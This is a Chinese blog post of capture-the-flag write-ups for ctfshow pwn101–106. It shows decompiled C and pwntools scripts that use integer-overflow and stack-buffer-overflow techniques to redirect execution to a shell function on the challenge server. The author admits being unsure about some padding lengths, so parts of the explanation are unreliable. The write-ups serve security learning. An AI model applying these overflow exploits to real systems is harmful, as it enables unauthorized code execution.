こっちの「好き」は 届いてるかな?

pwn101

没啥东西,main函数要求输入对应值,直接交互就好了

int __fastcall main(int argc, const char **argv, const char **envp)
{
 unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
 int v5; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v6; // [rsp+8h] [rbp-8h]

 v6 = __readfsqword(0x28u);
 init(argc, argv, envp);
 logo();
 puts("Maybe these help you:");
 useful();
 v4 = 0x80000000;
 v5 = 0x7FFFFFFF;
 printf("Enter two integers: ");
 if ( (unsigned int)__isoc99_scanf("%d %d", &v4, &v5) == 2 )
{
   if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF )
     gift();
   else
     printf("upover = %d, downover = %d\n", v4, v5);
   return 0;
}
 else
{
   puts("Error: Invalid input. Please enter two integers.");
   return 1;
}
}

16进制转值为10进制,nc交互进入gift函数

gift里面有cat /flag

直接拿到

pwn102

更没东西,main函数要V4值为-1.交互输入进去的就是V4,写个-1进去就拿到flag

pwn103

关键内容都在ctfshow函数中

ctfshow函数代码逻辑分析

  1. 输入长度:printf(“Enter the length of data (up to 80): “);
    __isoc99_scanf(“%d”, &v1);这里要求用户输入数据的长度,并存储在变量v1中。如果输入的v1大于80,程序会直接退出:if ( v1 <= 80 )
    {
      …
    }
    else
    {
       puts(“Invalid input! No cookie for you!”);
    }因此,输入的长度必须小于或等于80,才能继续执行。
  2. 输入数据:printf(“Enter the data: “);
    __isoc99_scanf(” %[^\n]”, dest);这里要求用户输入数据,并存储在dest数组中。dest数组的大小是88字节,因此理论上可以存储最多87个字符(加上一个字符串结束符\0)。
  3. 内存拷贝:memcpy(dest, src, v1);这里将src的内容拷贝到dest中,拷贝的长度是v1。然而,src被初始化为0LL,即空指针。如果v1大于0,memcpy会尝试从空指针拷贝数据,这会导致未定义行为(如程序崩溃)。但如果v1为0,memcpy不会执行任何操作,因为拷贝长度为0。
  4. 条件判断:if ( (unsigned __int64)dest > 0x1BF52 )
       gift();这里判断dest的地址是否大于0x1BF52。由于dest是一个局部变量,其地址通常在栈上,且地址值通常远大于0x1BF52,因此这个条件很容易满足。

输入两次0的逻辑

  1. 第一次输入0
    • 输入长度v1为0。
    • 程序会要求输入数据,但因为v1为0,memcpy不会执行任何操作。
    • dest数组的内容不会被修改,仍然是未初始化的。
  2. 第二次输入0
    • 再次输入长度v1为0。
    • 程序再次要求输入数据,但v1仍然为0,memcpy仍然不会执行任何操作。
    • dest数组的内容仍然未被修改。
  3. 条件判断
    • 由于dest的地址通常远大于0x1BF52,条件((unsigned __int64)dest > 0x1BF52)成立。
    • 因此,程序会调用gift()函数。

漏洞总结

这个漏洞的根本原因是:

  • src被初始化为0LL,但没有检查src是否为有效指针。
  • v1为0时,memcpy不会执行任何操作,但程序没有对这种情况进行特殊处理。
  • 条件((unsigned __int64)dest > 0x1BF52)过于宽松,容易被满足。

因此,通过连续输入两次0,可以绕过memcpy的潜在崩溃,并满足条件调用gift()函数。

所以进入gift函数即可拿到flag

pwn104

没啥好说的,很标准的整数溢出然后依靠已写的that函数进行提权

第一次传入,传递的值是读取buf的长度,写长点就行了,无所谓的

from pwn import *
p = remote("pwn.challenge.ctf.show",28302)
payload = b'a'*(0xe+8) + p64(0x000000000040078D)
p.sendline(b'21321')
p.sendline(payload)
p.interactive()

pwn105

存在提权函数,拿到地址

dest溢出一下,0x11+4

v3是int 8

实际上就是二进制取八位的值

也就是说,能取的最大值是 1111 1111 = 255

所以要想绕过if条件判断

就需要255+1(这个1是因为还需要算上0这个值,共256个值)+ 4 ~~~264

ljust方法填充一下垃圾数据就行了

char *__cdecl ctfshow(char *s)
{
 char dest[8]; // [esp+7h] [ebp-11h] BYREF
 unsigned __int8 v3; // [esp+Fh] [ebp-9h]

 v3 = strlen(s);
 if ( v3 <= 3u || v3 > 8u )
{
   puts("Authentication failed!");
   exit(-1);
}
 printf("Authentication successful, Hello %s", s);
 return strcpy(dest, s);
}

exp:

from pwn import *
p = remote("pwn.challenge.ctf.show",28175)
shell = 0x0804870E
payload = b'a'*(0x11+4) + p32(shell)
payload = payload.ljust(0x104,b'a')
p.sendline(payload)
p.interactive()

pwn106

和105巨像

根据实际交互效果搞上ru正确交互就好了

from pwn import *
# context.log_level = 'debug'
p = remote("pwn.challenge.ctf.show",28231)
shell = 0x08048919
payload = b'a'*(0x14+4) + p32(shell)
payload = payload.ljust(260,b'a')
# cat_flag = shell
# payload = cyclic(0x14 + 4) + p32(cat_flag) + b'a' * 234
p.recvuntil(b'choice:')
p.sendline(b'1')
p.recvuntil(b'username:')
p.sendline(b' ')
p.recv()
p.sendline(payload)

p.interactive()

(还有些许问题,为什么被注释掉的payload也能用,为什么后补齐的垃圾数据长度是234,不就应该是256+3~~~256+7吗,奇奇怪怪的)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇